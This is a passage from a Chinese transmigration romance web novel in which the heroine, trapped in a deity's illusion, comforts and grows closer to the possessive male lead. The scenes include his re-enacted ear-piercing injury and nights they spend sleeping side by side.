池镜花面不改色地按着他的双肩,全然未意识到他们当前的姿势有多亲近,她轻咬唇瓣,将积攒心底许久的疑虑全盘托出。 “我可以帮你,但你得告诉我这究竟是怎么回事,为什么进来的时候你的耳铛不见了,为什么你要自伤?是不是都与这个幻境有关?” 奚逢秋已调整好坐姿,以指腹温柔地替她拂去烧火时脸颊沾染的黑灰,露出温和却略显无奈的笑容。 “你还真是不会演戏。” 演戏? 池镜花蓦然记起客栈里的黄衣女曾说过类似的话,诧异得微微睁大眼睛,不由追问:“是黄衣女子把我们拖入幻境的吗?” “准确来说应该是傩神。” 虽然他并不觉得对方是“神”。 像是想起什么,少年微微偏头,一缕花叶的枝叶影攀上脸颊,他垂眸望向指尖下的耳铛。 “她好像很喜欢看人演戏。” 换句话说,他们若想结束幻境,只需按照傩神所设定的剧本演绎,让她看到自己感兴趣的画面即可。 池镜花自然也明白他的弦外之音。 她联系到奚逢秋乖乖喝药、自伤行为、戴耳铛等等行为,知道这都是傩神所感兴趣的剧情 内容。 为了追求剧本的真实性,傩神故意把背景设立在十年前的王府,更让奚逢秋身上发生些许细微的变化,例如耳铛。 至于为何不是小时候的奚逢秋而是现在的他。 池镜花猜测傩神在意的“演”,她更期待当时间走过十年,在同样的背景下,当事者要把过去自己亲身经历过的一切以当前的心态重新演绎一遍,倘若直接在幻境里化出十年前的小奚逢秋,那便完全缺少“饰演”的味道。 如此看来,这傩神真是有点变态在身上。 池镜花不禁思考:那晚,当傩神站在奚逢秋房间门口时是否已定下这个计划? 她不确定,但至少当时,傩神铁定对奚逢秋的过去很感兴趣。 如此推断,傩神除了可以化出幻境,还有看见他人的记忆乃至生平的能力。 但因自己并非这个时空的人所以她无法窥探。 换句话说,把她拖入幻境不是附赠品,而是傩神的恶趣味。 因为看不透她,所以才随手一块扔了进来,或许是想要看她拙劣的“表演”能否给幻境增加点调剂。 池镜花虽然无比憎恶这类行为,但在当前情况下,她依旧十分冷静地点了点头。 “嗯,我知道了。” 少女眼睫低垂轻颤着,投在脸颊的扇形阴影在花丛中忽闪着。 奚逢秋抬眸静静凝着她,日光照耀下的苍白面颊漾着浅淡的笑,一手轻揽着她的腰肢,指尖已经悄然抚上她柔软的发丝,一遍遍由上往下地顺。 “真的很聪明。” 虽是他的真心话,但不管怎么说,他才应该更聪明吧,分明都是一块进来的,到头来比她知道的还多。 池镜花一把牢牢攥住他胡作非为的手指,同时摊开右手五指,表情颇为纠结苦恼。 “这个,还要戴吗?” 在她看来,这耳铛既属他的母亲,而他的母亲给他的记忆和情感并非正面,同理可得,为了摆脱童年阴影,他最好远离这只耳铛才对。 他垂下眸子,纤长的睫羽半遮瞳孔,表情平和地轻轻点头。 “嗯,过去就是戴着的。” 她明白他的意思。 但池镜花有种奇怪的感觉,似乎他所做的一切只为了结束傩神的幻境,却没有流露出丝毫抵抗厌恶的情绪。 这是极为不正常的。 与他感知不到情爱如出一辙。 池镜花没有立即帮他将耳铛戴好,而是握了握掌心,认真地回望着他漂亮的眼睛,一字一句细细斟酌后慢慢吐出。 “那你过去为何要伤害自己?” “这没什么。” 他并无隐瞒的打算,轻轻笑了一声,而后将自己行动原因一字不落地说出:“只想确认我是否真的再也感知不到任何痛楚。” 以前,他确认一次,现在,他又确认一次。 结果不曾更改。 池镜花眨眨眼,下意识指出他话语中的漏洞。 “可是如果我碰你的话,你不就可以感受到了吗?” “嗯,是这样的。” 少年乖巧点头,完全认同她的说法。 他微微笑着,坠入眼底的一层浅金色日光映出少女稍显凌乱的头发以及灰蒙蒙的一张脸,眼睛却亮晶晶的。 “要碰我吗?” 听出他言语中的邀请之意,池镜花深吸一口冷气,神情坚定,吐出的声音不大不小。 “在邑水村我就答应过在任何情况下都会碰你的,现在不会反悔,以后更不会。” 说罢,少女再次按住他的肩胛蓦然倾身靠近,重心已完全压在他上半身。 奚逢秋只有双手撑地腰部发力,才能为两人寻一个支撑点。 当脸颊离他耳廓不到五公分的距离时,稍浓的血腥闯入鼻腔,池镜花一错不错地盯着被长针戳穿的耳垂,视线缓慢下移,在他身下的花丛里看见几滴鲜艳的血迹。 血珠坠挂在浅白色的芍药花瓣上,形成一抹触目惊心的红,将这株花与周围隔绝开。 池镜花探出指尖慢慢覆上他的左耳,由上慢慢往下,最终停在他的耳垂。 可血迹尚未凝固,很快染红她的指腹。 左右他体内的毒对自己没有影响,池镜花毫不在意,她索性再进一步,额头几乎贴着他的脸颊,脑袋微垂,心无旁骛地仔细观察他的伤口。 她轻轻地四处捏了捏,试图找到被长针戳穿的伤口,好将耳铛给他戴上。 没注意到的是,在自己不经意的触碰下,被压在身下的奚逢秋已变得跟方才大不一样。 他不知该如何形容自己所产生的剧烈变化,只是每当池镜花碰到他伤口的血肉时,似乎很想将她绑住,叫她只能这样挨着自己。 真是奇怪的念头。 他本能地压制住这股不该有的想法,视线晃过姹紫嫣红的花丛,轻飘飘地落在她的肩上。 很快,少女滚烫而甜腻的气息犹如火蛇般游走在耳间和颈侧,贴着他的肌肤,无声吞噬他的冰凉的体温,将本属少女的一切返给他。 他又不得不微微偏过头,但那股叫他难以忽视的气息却贴着心口肆无忌惮地往心口探去。 “好痒。” “不近点我看不清。” 他的声音有些颤抖,可池镜花并未察觉出任何异样,仍低头专心做事,不过在瞥见奚逢秋冷白的颈侧,注意到紫青色血管中汩汩流淌的血液,她下意识地抿唇,心跳因此而可耻地加速。 当少女柔软温柔的指尖不停摩挲他受伤的耳垂,不仅是心跳,还有一些其他的情绪和反应。 他突然记起十年前在这里发生的全部。 当日,他自伤后,在母亲的授意下,由一名丫鬟给他戴上耳铛,手法虽然粗鲁,却没有让他感受到任何痛苦,所以他笑了。 他记不清自己为何要笑,也许是觉得自己好笑,但却清楚地记得那丫鬟在离开前神色厌恶地瞪了他一眼,低声咒骂了一句。 ——“真恶心。” 是因为没有痛觉所以觉得他恶心吗? 不清楚。 但他不在乎过去这些。 可他现在好痛。 比之前还要痛上几分。 似乎,每一次与池镜花近距离接触时,被她这样压在身下时,会出现一些莫名的情绪,身体上的反应也会比前者更大。 少年一进一出的呼吸跟随她指尖抚摸的频率而改变,埋在衣下的蝴蝶锁骨在微微震颤着,乌黑的睫毛被眼底升腾的雾气打得半湿,撑着地面的十指手指不由蜷曲,想要握住点什么,但绝非身下的花草。 更为准确地说,是她。 “池镜花,我好疼。” 【男配好感度+5,当前好感度50/100】 【任务进度1/2,完成任务胜利在望,请宿主继续加油!】 第67章 第67章再坐会儿。 清风卷着云彩,温暖的日光被遮蔽片刻才重新露头,倾洒在诗画般的春日花园,随风肆意摆动的花影映上二人相交叠的衣间。 在听到他喊疼的下一秒,池镜花往后退了退,本能地欲移开手指,却又听见男配好感度提升的系统提示音。 池镜花心下一惊,指尖不动了,因为她忽然明白一件事。 什么疼不疼的,他分明喜欢得不得了! 不管是疼痛还是他们当前的姿势,他都很喜欢! 念及彼,池镜花指下用了些力气,捏住他的耳垂,轻轻摩挲了下,接着假咳一声,俨然一副正经老实的模样。 “咳!其实我是故意的,我故意找不到伤口,故意捏你碰你,是想让你感受到疼痛。” 随着池镜花后撤,奚逢秋已可以不用再双手撑地以维持平衡。 他静静垂眸望着少女因为衣袖滑落露出的白皙手腕,他不由自主地轻轻握住,触及到她的肌肤,力气慢慢收缩,直到填满他心底的一条浅浅裂缝。 “为什么?” 被他这样握着,池镜花一点也不觉得难受,反而有股酥麻之意顺着肌肤侵入骨骼流进血液,无声电击她的心脏。 池镜花脱口而出,“因为你喜欢呀。” 方才,她下意识地想要松手,正是因为差点忘记他的变态属性,他本就享受疼痛,又怎会抗拒疼痛。 少年极为不解地歪了歪脑袋,枝叶的阴影飘到他的颈侧,映在鲜红的血迹上。 “只要我喜欢就可以了吗?” “嗯,对。” 池镜花重重点头,“只要是在我可以接受的范围内,能让你觉得高兴的事情,我都会想办法满足你的。” 毕竟,这也是攻略他的手段之一嘛,池镜花一直也就是这般做的,跟过去唯一不同的是:这一次,她将这事摆上台面说而已。 而她这般勇敢坚定地表明心迹,无非是想要他能快点喜欢上她,而且,男配好感度已有50,只要再努力一点,应该很快就能对她产生爱意了吧。 想到这点,方才还平静如水的心跳骤然提速,仿佛已湮没在自己震耳欲聋的心跳声中。 奚逢秋眼睫低垂,投在双颊的月牙阴影微微闪烁,他安静思考一瞬,抬眸,蓦然轻声笑了一下。 “在你可接受范围内啊……” 可倘若超出她的可接受范围之内该如何是好呢? 尽管他没有直说,可池镜花已然明白他的意思,猝然身体又往前倾半分,鼻尖几乎贴着她的,以至于下一秒,自己吸进的空气混着他的香气。 “你放心,我很包容的,只要不是太过分的事情都行。” 少年微凉的指腹极为缓慢的摩挲着她的的肌肤,在听见她的再三保证后,指尖一顿,双眸一弯,露出一个纯良温柔的笑。 “嗯,我会期待的。” 行吧。 只要他不反感就好。 池镜花指尖微动,左手手腕被他握得发热,而且几乎完全动不了。 “你先松手,我帮你把耳铛戴好。” 不含任何杂质的视线凝望着少女一张一合的红润唇瓣,想到即将松开的柔软,奚逢秋心有遗憾,可惜不能再握得久点,因为这点时间还不足以抚平他心底翻涌的悸动。 “那我可以碰你吗?” 他的声音很轻,更夹杂着淡淡的请求讨好之意,听得池镜花双眼一亮。 碰她? 所以这也算他主动要求亲近她吧…… 做梦都想攻略他的池镜花自然不可能放过任何可能增进彼此感情的机会。 “嗯,可以。” 池镜花点头如捣蒜,毫不掩饰内心的渴望,就差直接抓住他的手指覆上自己的肌肤。 奚逢秋轻应了一声,下一刻,指尖贴上她的额头。 不是别处,仅是额头这样不上不下的位置。 池镜花抿唇一言不发,索性继续低头完成刚才未完成的事情。 当她的手指二度碰到少年的耳垂,池镜花身体明显感受停在她眉心的指尖轻颤了一下,接着,指腹滑过她的鼻梁和脸颊,像是学着她的样子,捏了捏她的耳垂,继而又来到颈侧,贪婪地抚摸着她裸|露在外的肌肤。 耳朵的伤痛是痛的,令他感到愉快。 触碰池镜花虽不疼,却叫他很舒服。 这两者,皆因她而起。 他不明白为何会这样。 不知他心中所愿的池镜花心跳如擂鼓,思绪因他分神,终于也体会到了他口中的“痒”。 虽然心里知道不可以逃避,可身体却不受控制地想要后撤,但在她做出后退行动之前,奚逢秋已预料到,另一只手抵死按住她的后颈。 池镜花身体因紧张而绷紧,无奈只能承着他若有似无的抚摸,不自觉地牙关紧咬,以防发出任何怪声。 慢慢地,目之所及的少女肌肤已被自己完全触碰后,他开始探索以前所从未触碰到的领域,当指尖停在她的心口时,奚逢秋蓦然停顿。 就在这短暂的几秒,池镜花终于可以喘口气,瘫软的身体恢复力气,立即一鼓作气地将耳铛穿进他的伤口里。 “戴好了,我给你戴好了!” 她的声音很是响亮,似意在提醒他别再继续了。 好像是在害怕发生什么。 至于是什么,奚逢秋没想明白。 他轻轻应了一声,垂眸使得自己逐渐冷静下来,不想望见指腹不知何时从她脸上蹭下一抹黑灰,想到不久前帮她拭去的也是这些,不由露出几分不解的神情。 “为何你身上会有这些黑色的灰?” 顷刻间,少女那本就因二人的亲密接触而发热发烫的面颊爆红,顿时,从喉咙溢出的声音更为响亮。 “这是有原因的!” 飘在空中的浅金色花粉晃晃悠悠地沾上他半湿的睫毛,随他轻轻眨眼的动作在风中簌簌落下。 少年唇角微扬,望着她微笑。 “什么原因?” 池镜花随手理了理被他弄乱的领口和头发,正准备从他身上爬下再解释,只是尚未来得及彻底离开,腰间传来一阵外力,她低头看见奚逢秋双手握住她的腰肢,用力地将她按着坐下。 当两具躯体隔着衣裳却能感受到彼此的温度时,池镜花还没来得及做出反应,只听见耳边传来一声近乎祈求的低语。 “再坐会儿,可以吗?” ……服了。 就这么喜欢被她按在身下吗? 想到她刚说过“只要在可接受的范围内,都会满足他的”这句话,池镜花颇有种自己给自己挖坑的感觉。 她只能暂时维持坐他腿上的动作,双手习惯性轻轻搭上他的肩胛。 “好。” 当略显颤抖的“好”自她喉咙里挤出落地时,池镜花莫名有种强烈的羞耻感,指间兀自加大力气,少年沾血白衣在她手心里皱成一团却浑然不觉。 她赶忙移开落在对方漂亮双眸上的目光,心虚的同时又假装态度自然将话题扯回上一个,每一个都铿锵有力。 “反正就是我为了不暴露身份,只能对外宣称是王府新来的丫鬟,所以,这些黑灰是在厨房帮忙打下手时不小心沾上的。” 被金色而温暖的日光所笼罩,他依旧是笑着的,可却辨不清具体情绪如何。 “原来是这样。” 在他不在她身边时,原来还发生了这么多事,看来,得快些结束这个幻境才行。 当混乱地心绪逐渐平稳以后,池镜花花慢慢转回头,咬了咬下嘴唇,像是下了巨大决心才缓慢开口询问。 “晚上我可以去找你吗?” 他视线定在她的脸上,语气淡淡,听不出有什么不一样的地方。 “记得我的住处在哪吗?” 第一时间没有问她有什么事,而是关心她认不认路,男配的关注点倒是奇奇怪怪。 池镜花乖巧地点头,“嗯,记得,不会迷路的。” 好歹去过两次,再记不住就真成路痴了,她只是认路不太行,又不只要出门就会迷路。 奚逢秋轻点了一下脑袋,“嗯,那就好。” 得到他的应允,池镜花放下心来,又低头观察自己。 衣裙尤其裙摆皆是厨房灶台落下的黑灰,在与他长时间的亲密接触过程中,这些灰尘便通过她染到他身下的衣裳,灰蒙蒙的,甚是难看。 即便如此,奚逢秋不曾松手让她起身。 可池镜花有自知之明,就算别人不说,她也不大好意思总弄脏他的衣裳。 而且,还是她主动贴上去的。 她低头微微蹙眉,“我会换套衣服再去的。” “没关系。” 他又不会嫌她脏,只是对她身上发生的一切非常好奇,好奇当自己不在的时候,她一个人经历了哪些事,知道就好了。 当少年轻柔低缓的嗓音如动听的乐符跳进她的耳蜗,池镜花慢慢仰头盯住他几秒,当看见完全长在自己审美上绝绝五官,心中萌发个大胆的念头。 她默默调动周身全部力气,趁其不备,用力把他扑倒在花丛里。 被二人惊扰的花叶纷飞,花香弥漫。 有身后的花草绿叶作为缓冲,根本伤他不了分毫,这也是她下手如此大胆决绝的原因。 没等他反应过来,池镜花已迅速俯下身,整个人完全压在他身上,双臂慢慢向后探索,交叠着牢牢环住他的颈侧,身躯挨着身躯,微微发烫地脸颊埋在他的颈窝里,滚烫的唇瓣不小心蹭过他的耳后敏感肌肤。 池镜花不曾退缩,如情人那般亲密地抱了一下。 只是想让他再高兴点。 “好了,满足了吧!” 说罢,不等他给予回应,池镜花已麻利起身,裙摆不经意划过他的腰间,只想得赶紧溜,不然,又要被他祈求变着,缠着她变着花样地做这做那的。 第68章 第68章我想看你睡觉。 暮色已至,月亮与太阳交替出现,蓝黑色的夜空繁星闪烁,月光笼在池镜花四周,温柔的微风拂过少女略显倦怠的面颊。 当做完被安排的最后一件任务,池镜花锤了锤酸疼的肩膀,总算可以回房洗漱休息片刻。 当然,给人殷勤干活可不是她的目的,她主要是想通打听一下男配父母之间的事情,倒也并非有意八卦,只是迫切地想要了解奚逢秋,了解他性格形成的源头。 通过跟不同的人打探,池镜花将收集来的信息简单拼凑,得出个大概。 原来,他们是在十二年前成亲的。 当然,身份尊贵的王爷娶来历不明的女子这事一开始就备受瞩目,出人意料的是,两人婚后非常相爱,可后来,关系却变了,直到三年后,苗献仪诞下一子,奚淮景回府的次数才逐渐变多,但不知何时起,他又不再回府,但却从未想过与她分开。 池镜花想不明白,这两人之间来回地病态拉扯,究竟是为了什么。 明月当空,万籁俱寂,唯有簌簌风声不时地敲打门窗,发出轻微古怪的声响。 池镜花只能蒙住脑袋轻声叹气,万万不敢吵醒隔壁床的小糖。 耐心等了一会儿,直到确认小糖睡着,她才掀开被子穿上外衣,蹑手蹑脚地偷溜出去,结果因为以前都是白天去他住处,天一黑,顿时有点分不清东西南北。 池镜花独自在府中转悠好久才找到正确的路。 于微光中见他房门虚掩,池镜花轻咳一声,又轻轻提醒了句“我进来了”,继而推门而入。 月光透过他身后的窗户的洒向他身后,少年安静坐着,衣上和耳间的血污已被清理,面上的木桌立着几张翩翩起舞的纸人,仔细观察,会看见有几缕白丝勾缠住他的指连。 在百无聊赖地等待她时,他就是用这些不会说话没有呼吸的纸人打发时间。 而所有的一切却在池镜花进门的刹那,纸人和白丝啪嗒全部倒下,因他全部注意力已转到池镜花身上。 “你来得好慢啊。” 池镜花自动忽略他的抱怨,弯腰将一直攥在手心里的物件递了过去。 “这个送给你。” 无非一截普通的桃枝,坠着几朵粉红的桃花,是她迷路时想到奚逢秋为他而摘的。 俗话说,借花献佛嘛,更何况,她又没什么拿得出手的东西。 奚逢秋慢腾腾地伸手接过,低敛着睫羽,遮住眼底大半情绪,实在看不出是什么态度,指尖生花般轻抚着柔弱的花瓣。 “多谢。” 既还能说谢谢,那至少应该不讨厌。 池镜花松了口气,借着闪烁的烛光静静打量起四周。 房间陈设简单,只摆了几件必需的家具,屋内有许多书籍和字帖,散落在四处。 池镜花忽然记起那位教他写字的夫子。 这样看来,他小时候应受过很好的教育,可却有点剑走偏锋,分明一眼看上去就是位温温柔柔的君子,可只要接触就会发现他内心极度扭曲偏执。 见少女视线四处游离未曾停留在他身上,奚逢秋不由疑惑地打量着她。 “在看什么?” “没什么。” 池镜花听见声音低下头,视线扫向被纸人压住而露出一角的泛黄纸张上,目光自然而然地被上面的字迹所吸引,由衷陈述着她早就想告诉他的事实。 “你写字很好看。” 当抬眸望见少女眨着亮晶晶的双眼对自己表达赞赏时,奚逢秋不过缓慢垂下双睫,神情平静,极淡的唇瓣微微张了张,声音听不出情绪波澜。 “这没什么,不过是练得时间长了些而已。” 池镜花若有所思地点点头,恍惚间,像是想到什么,斟酌半晌,才支支吾吾地说完一整句话,说完便有些后悔自己不该这样冒昧。 “你练字……是因为……你的母亲吗?” 池镜花心情忐忑地咬住唇瓣,却见他神情依旧,哪怕陷入回忆时也未曾流露出多余的情感。 被她的话所牵引着,少年思绪不知不觉回到十年前,记起那时发生的一切,只用片刻便又回到现在。 他微微笑了笑,以指腹又轻又缓地滑过纸上已经干透的笔墨,想要感受当时的情绪状态,可什么也没有,正如他总是感受不到别的一样,所以才需找点乐子。 当然,除了池镜花。 她总会让他很兴奋,情绪也因她而起。 忽明忽灭的烛光下,少年轻轻点头的样子看着乖极了。 “嗯,因为父亲喜欢我的字,母亲便喜欢,父亲不喜欢,母亲便也不喜欢了。” 因为无法再用这个作为铁链拴住父亲,这便失去利用价值,此后,母亲便不再要求他练字,也不会有人记得他曾在书桌前写下的这些。 池镜花挪了块木凳,紧挨他坐,抓起未干的毛笔,按照小学书法课上老师所教的姿势握住毛笔,伏案潦草地写了三个字。 “这是我的名字。” 她放下毛笔,指尖指着刚写下的字,一个个滑过又铿锵有力地念出来。 “池、镜、花。” 像是被她逗乐一般,奚逢秋蓦地弯眸笑了笑,极轻地“嗯”了声,后又目光凝着她写的字,轻轻吐息,喊了一声她的姓名。 “池镜花。” 分明不是第一次喊她,可当他照着自己写下的字迹一字一句呼喊她,声音若有似无地拂过耳畔,池镜花毫无来由地双颊一红。 “好了,别看了。” 她眼疾手快地“啪”地一下盖住尚未干透的字迹,眼睛一动,赶紧把跑偏的话题拉回正规。 “我的意思是说,我很喜欢你写的字,不是因为我写字难看,只是我很喜欢……”你写的字。 最后几个字,仿佛被池镜花住在心脏里的小鹿跃起一口吞入腹中,无声地嚼吧嚼吧,最后只在她的脑海里剩下这么个念头。 少年没有回话,而是眼带笑意地望着她。 深夜的一缕月光慢慢攀至他的肩上,少女的发梢轻轻搭在上面,随着微风悄然紧贴着他的颈间。 突然间,察觉到掌心下被压住的难看书法,池镜花似想起什么,微微凑近,双目一眨不眨,满怀期待地盯着他。 “对了,等离开幻境以后,你也为写幅字,好不好?” 之所以要求出幻境再写是因为现在写了也白搭,除了彼此,他们根本带不走幻境里的任何。 没有问她想写什么,奚逢秋已然应承下来。 见状,池镜花慢慢松开双手,下一秒,便将纸张翻过去,眼不见为净。 长舒一口气后,她右手支起下颌,涣散的目光落在被烛火映照微微泛黄的桃花上,不由想到他们目前的状况。 “一定要按照傩神给的剧本去演绎吗?” 少年轻“嗯”一声表明立场。 池镜花不解地偏过头,眨了两下眼睛,“没有关系吗?” 在她看来,不管是喝毒药还是穿耳洞,这些 剧情设计皆为奚逢秋小时候经历的苦难,傩神把这些搬出来,无非是为了满足自己变态的欲望。 “没关系。” 烛火与月光交相辉映,他眼睫微垂,唇角扬起,落下的声音很轻。 “不过一些微不足道的小事。” 微不足道…… 不对,绝对不是! 虽然在他看来,这段过往因情感的磨灭早已无足轻重,所以,他可以毫无负担地重新演绎一遍。 可池镜花却觉得过往很重要。 不管是被父亲忽视,还是被母亲当做拴住父亲的锁链,又或者被下人嘲笑……听着好像需要系统或者别的赋予她穿越时空去改变什么的金手指一样,但池镜花却觉得并非如此。 不管好与坏,过往就是过往,正是因为有那些不可磨灭的过去,才造就现在的他,若是回到过去,给予他温暖,为他挡伤害,那池镜花又该如何遇到眼前的他——一个她当下正在注视着的奚逢秋。 过去已经发生的事情在他的记忆中形成一道深刻的烙印,对他的人格造成不可磨灭的影响,甚至已经吞噬他的情感。 也许,这就是他有时病病的原因,但最近却越来越好说话了,而且,他总在看她,只关注她一个人,而且总是对她流露出病态强大的占有欲。 这让池镜花有种前有未有的满足感。 就连她自己也说不上原因。 当然,因为肩负攻略任务,池镜花也很想让他感受到生命和生活的美好,但绝非采取改变过去的做法。 过去伤痕如草蛇灰线一直存在,但她可以通过自身努力,让现在的他在心理和生理上承受的愉悦盖过那道烙印。 比如—— 现在,拥住他! 当池镜花伸出双手猝不及防地揽过他的颈侧,整个人靠过去时,因袖摆划过流动的空气,拂过一阵风,将纸人晃晃悠悠地吹落在地。 因奚逢秋毫无准备,两人也差点一块摔在地上,回过神来,他本能地给予她回应,双手不自觉地抚上她的后背,好让她离自己更近些。 四周寂静,只有烛芯燃烧而发出的细微响动。 “你今晚过来只是为了继续白日的拥抱吗?” 说话间,他的五指已覆上她的后颈,指尖温柔地抚摸她的发丝。 “当然不是!” 池镜花双手抵着他的心口轻轻推开他。 分明是她以自身疗愈他的伤疤,怎么被他说的像是因为白日未得到满足而特地跑来满足他的一样。 恍然间,她突然意识到什么,叹了口气,坦然地接受一切。 “好吧,你想让我做什么?” “你今日好像很累。” 奚逢秋一直记得她说过在府中为丫鬟一事,对比池镜花当下的疲惫的倦容,可知她的确不曾骗他。 “我想看你睡觉,可以吗?” 第69章 第69章我本就为你而来的。…… 裹挟花朵清香的微风轻轻撩动淡青色的床幔,温柔地抚上少女透着淡粉的面颊。 应他奇奇怪怪的要求,池镜花老实褪去外衣躺在他的床上,身体明明很累,可意识却无比清醒。 漂亮的少年安静立于床边,眼底含笑地凝视着她。 当黑影影影绰绰地落在叠盖住她的被子上,池镜花转过身面朝着她,垂下眼眸无声地叹口气。 不管她怎么努力,就是睡不着。 奚逢秋显然也察觉到此事,不由微微歪头,疑惑问道:“睡不着吗?” 池镜花捏着被子轻轻点头,“嗯。” 见她杏眼微微睁大,清澈明亮的眸底倒映出破碎的月华,奚逢秋思忖片刻,得出个内心不太愿意承认的结论。 “是因为我在看你吗?” “当然不是。” 池镜花其实早习惯于他视线如海草般将自己层层包裹缠绕,当然,她也奇迹般开始享受他的注视,若是哪天,他不再看她,那才出大问题了! “过来。” 池镜花直接掀开被子坐起,压根不给他任何拒绝的时机,强行拉住他的手腕,把人按在自己身旁坐下。 虽然男配越来越好说话,但她也愈发大胆起来。 有时候,大脑还没来得及下达指令,身体已行动起来。 起初,奚逢秋并未反应过来,待躯体落于她身旁,才意识到发生什么。 少年轻轻垂眸看向握住的手腕,十分欢喜她的掌心温度可以严丝合缝地传达给自己,继而又微微偏过头,望着她微笑。 一举一动好像故意在等她的下一步动作似的。 池镜花心知肚明。 她抿唇避开他直白的视线,轻轻地,将脑袋搭在他肩上,柔软的长发无意贴着他的面颊和颈侧肌肤。 “好了,这样就能睡着了。” 奚逢秋虽然非常喜欢她时不时主动亲近自己的举动,却不理解为何只需这般她就可以睡着。 “为什么?” “因为我在靠着你。” 许是可以清晰感受到他的身体正紧挨着自己,池镜花莫名放松,说起话来也是直言不讳,只是当她继续深究其中原因,却有些不好意思起来。 “这让我感觉很、很……舒服!” 最后两个字,是因为她搜肠刮肚许多也没找到合适的,干脆就引用他说过的话,反正意思传达到位了就行。 说完后便迫不及待地仰头看他反应。 不出所料,在池镜花说完以后,耳蜗里便钻入一声极轻的笑。 少年像是发现什么有趣的事情,眼底是止不住的笑意,就连肩膀都在轻微抖动。 怕他说出什么令自己羞耻不已的话,池镜花赶忙挺起腰背,捂住双手交叠地捂住他的嘴巴,声音却毫无底气软了下来。 “我就是想靠着你……” 因为他身上真的很好闻。 省去花里胡哨的说辞,她选择直接表达内心最为原始强大的欲望——就是想靠着他睡觉! “嗯。” 奚逢秋轻轻应了声,转而握住她的五指,贴上自己的脸颊,亲昵地蹭了蹭她的掌心,像讨好主人的宠物猫一般抬眸望她。 “抱歉。” 对于他的示弱认错,池镜花偏吃这一套,干脆扭头不再看他,可坚持不到三秒便钻进他怀里,抽出自己的手指,习惯性地搭在他肩上。 ——比方才还要近的距离。 奚逢秋一手以冰凉的指尖后颈一路下滑,穿过她的后背,停在她的腰侧,却也仅停留在搂搂抱抱的地步。 “睡觉吧。” 他一手紧紧揽着少女,另一只手轻抚着她的头发,声音温柔又平静,“你很累了。” 池镜花没有出声,因为眼皮已止不住地打架,很快便入睡了。 蜡烛即将燃近,房内烛光渐弱,映出屋外冒出新绿枝芽的晃动树影。 奚逢秋没有闭眼,而在观察池镜花。 从发丝到眉眼及脚踝,都被他细致地观察一遍,最后视线重新落在她的唇角。 毫无疑问,池镜花是他见过最奇怪的人,可也是唯一一个愿意主动亲近他的人。 以前倒也不是没人为了私心接近他,可持续不到几天就因各种各样的原因放弃,只有她,从始至终,从未想着离开他。 也许是因为池镜花与旁人截然不同。 池镜花总是很有意思,身上有很多令他感到好奇的存在。 这种情况会维持多久他也不知道。 至少,他们现在还是在一起的。 想到这, 少年才满足地抱着她沉沉睡去。 翌日,当窗外的花瓣被风卷进屋内,轻轻飘落少女的指尖,唤醒了一夜无梦的池镜花。 当她迷迷糊糊地醒来,睁眼看见奚逢秋的颈侧,意识到自己真就抱着他睡过一夜,顿时弹射着从他身上爬起来,坐在一旁假装镇定地捋了捋头发。 早已醒来的奚逢秋没有说话,而且歪头看她。 初升的太阳从窗户投进,落在他垂挂在床边的衣间,好似在他的四周罩上一层浅金色光晕。 池镜花不好意思地别过脸。 分明只是搂抱着睡觉,又不是没有过,只是地点从森林变成床上而已,怎么还莫名羞耻起来了? 无奈之下,她只能偷偷做深呼吸,想到想到今日还得继续去厨房给人打下手,于是快速穿好衣服。 “对不起,我得走了。” 为证明自己并非无情之人,池镜花在离开前特地抱了他一下,吐露的声音沉闷而颤抖。 “晚上我还会来的。” 当她倾身搂住自己时,奚逢秋下意识地勾住她的一缕发丝,上扬的语调稍显甜腻。 “不要骗我啊。” 池镜花望着他的双眼不停点头,“嗯,一定。” 给人干活只是迫于无奈,自始至终,她所在乎的只有他一个,所以即便白天很忙,晚上必须抽空治愈他。 其实,池镜花也不知道这样做能不能行,但至少自己在他身边时,能时刻掌握他的动态,察觉出他的情绪状态。 她弯眸笑了下,转身飞快离去,亦不敢怠慢工作。 此后几天,她白日做丫鬟的工作,晚上去他房里,但大多数时候都累的不行,没说几句话,抱着他就睡着了。 也不知道是不是无意中打开了某个开关,光是这般,奚逢秋好像也挺开心的。 池镜花好奇地询问原因。 昏暗的烛光闪烁,少年身边的青色床幔随风飘荡,所投下的模糊影子映在他的侧脸,他以右手指腹轻轻覆上她的眉眼,嗓音透露出难以掩饰的愉悦。 “因为看你睡觉也很有意思。” 池镜花跪坐在床上,耳边发丝微晃,蓦然往他身前凑近半分,不愿放过一丝一毫可探究他内心的机会。 “哪里有意思?” 少年没有回话,粘稠滚烫的视线一错不错地盯着眼前灿阳明媚的少女。 慢慢地,他的指尖却从眼睛开始向下滑动,一路经过脸颊,停在她的唇瓣上,触及到那片柔软,不由有些眷恋,指腹不禁轻轻按了按。 “你一动不动,好像完全属于我一样。” 池镜花足足愣住三息,反应过来心脏怦怦跳个没完。 脑海中不断回响他的这句话,分明是一个极度不正常的想法,她居然一点也不恐慌和害怕,反而为此感到无比兴奋。 占有欲越高就表明越在乎她,当然也就越喜欢她。 池镜花眼睫一颤,呼吸彻底乱了,她将脑袋彻底埋进他怀里,以一种极低本就不想让他听见的声音轻轻吐息。 “可我本来就是为你而来的……” 在万千任务里,她选中了他,就算初次见面他就想杀她,池镜花也不曾后悔过,想着总有办法能够令他心动。 她没赌错,现在就是最好的证明。 后面奚逢秋说了什么池镜花已经听不见,因实在太累,她再一次毫无防备地躺在他怀里睡了过去。 奚逢秋视线黏黏糊糊地望着她,伸手抚着她头发,又轻轻地抱住她,将少女最后一句话听得清晰。 ——为他而来。 为什么? 为什么会为他而来? 她又是谁呢? 虽然十分好奇,但回想起她方才的音量以及她总会聪明掩盖话题额本领,想来是不会得到答案了。 就这样又过去几日。 虽然幻境里的时间流速与外界没什么不同,但因为每天都有很多事情要做,每晚还要去奚逢秋住处找他,池镜花总觉得时间过的非常快。 掐指一算,已十日有余。 生活上好像没什么变化,自那日在花园里见到苗献仪以后,她便再也没见过她。 直到某天晚上,刚洗完澡正坐在床上正在擦拭头发的小糖告诉她:王爷这几天就要回府了。 小糖虽然并非王妃的贴身丫鬟,但偶尔也会去那边帮忙,比如帮忙给奚逢秋送送药什么的,当然,后来这件事由池镜花代劳了。 她虽然不想他喝下毒药,但他总说没关系,都是为了结束幻境,因为他不喜欢这里。 池镜花无力反驳,只能别脸不看,以掩饰自己的心痛。 所以,小糖的消息应该挺准。 她的思绪不知不觉偏远,又想到奚淮景要回来这件事。 若他回府,当属苗献仪最高兴,可这件事会跟奚逢秋有关吗?若是跟他有关,他又会经历什么? 池镜花完全没有头绪,她决定过会儿等小糖睡着以后,去找奚逢秋的时候顺便打听一下。 “对了,小池。” 